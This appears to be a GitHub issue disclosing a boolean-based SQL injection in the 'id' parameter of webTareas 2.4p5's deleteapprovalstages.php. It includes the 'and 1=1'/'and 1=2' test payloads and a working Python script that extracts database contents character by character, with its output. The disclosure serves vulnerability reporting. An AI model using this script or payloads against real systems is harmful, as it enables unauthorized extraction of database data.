

New issue

[Jump to bottom](#)

# SQL injection Vulnerability on "id" in deleteapprovalstages.php in webtareas 2.4p5 #2

Open anhdq201 opened this issue on Oct 23 · 0 comments

anhdq201 commented on Oct 23 Owner

## Version: 2.4p5

## Description

The id parameter appears to be vulnerable to SQL injection attacks.

## Proof of Concept

Step 1: Go to "/approvals/deleteapprovalstages.php?id=1", add payload '+and+1=1' to id parameter and see response have return data

The screenshot shows a web browser interface with a search bar and navigation tabs. The main content area displays a confirmation dialog titled 'Delete the following?'. Below the title is a table with one row: #1, test. At the bottom of the dialog are 'Delete' and 'Cancel' buttons. The 'Delete' button is highlighted with a red box. The browser's address bar shows the URL: http://localhost:13340/approvals/deleteapprovalstages.php?id=1+and+1=1. The browser's developer tools are open, showing the request and response details.

Step 2: Add payload '+and+1=2' to id parameter and see response have no return data

The screenshot shows a web browser interface with a search bar and navigation tabs. The main content area displays a confirmation dialog titled 'Delete the following?'. Below the title is an empty table. At the bottom of the dialog are 'Delete' and 'Cancel' buttons. The 'Delete' button is highlighted with a red box. The browser's address bar shows the URL: http://localhost:13340/approvals/deleteapprovalstages.php?id=1+and+1=2. The browser's developer tools are open, showing the request and response details.

Step 3: Identify SQLi boolean based vulnerability, then write script dump database

```
import requests, urllib.parse, string

# query = sys.argv[1]
# printable = string.printable
url = 'http://localhost:13340/approvals/deleteapprovalstages.php?id='
headers = {
    'Cookie': 'webTareasID=o75pr19v5q8pjftgi321mipj'
}

def calclength(query):
    target = query.split('+')[0]
    lent = 0
    for n in range(1, 100):
        payload = "1+and+length((select+%)atest)=%d" % (target, n)
        resp = requests.get(url + payload, headers=headers)
        if 'test' in resp.text:
            lent = n
            break
    return lent

def dump(query):
    global url, headers
    lent = calclength(query)
    print('lent = ' + str(lent))
    result = ''
    for i in range(1, lent + 1):
        for n in range(30, 123):
            payload = "1+and+ASCII(substring((select+%),%d,1))=%d" % (query, i, n)
```

```

        resp = requests.get(url + payload, headers=headers)
        #print(payload)
        if 'test' in resp.text:
            c = chr(n)
            print("Found: %s" % c)
            result += c
            break
    return result

print(dump('@@version'))

```

## Result:

The screenshot shows an IDE with a Python script named `boolean_base_sqli.py`. The script imports `requests` and `urllib.parse`, sets a target URL and headers, and defines a `calclength` function to perform a length-based SQL injection attack. The output window shows the results of the attack, with the final result `10.4.25-MariaDB` highlighted in a red box.

```

1 import requests, urllib.parse, string
2
3 # query = sys.argv[1]
4 #printable = string.printable
5 url = 'http://localhost:13340/approvals/deleteapprovalstages.php?id='
6 headers = {
7     'Cookie': 'webTareasSID=o75prL9v5q8pjflftgi321mipj'
8 }
9
10
11 def calclength(query):
12     target = query.split('+')[0]
13     lent = 0
14     for n in range(1, 100):
15         payload = "1+and+length((select+%s))=%d" % (target, n)
16         resp = requests.get(url + payload, headers=headers)
17
18 calclength()

```

Run: boolean\_base\_sqli

```

Found: a
Found: r
Found: i
Found: a
Found: D
Found: B
10.4.25-MariaDB
Process finished with exit code 0

```

## Impact

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query. A wide range of damaging attacks can often be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and taking control of the database server.

**anhdq201** changed the title **SQL injection Vulnerability on "id" deleteapprovalstages.php in webTareas 2.4p5** to **SQL injection Vulnerability on "id" in deleteapprovalstages.php in webTareas 2.4p5** on Oct 23

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

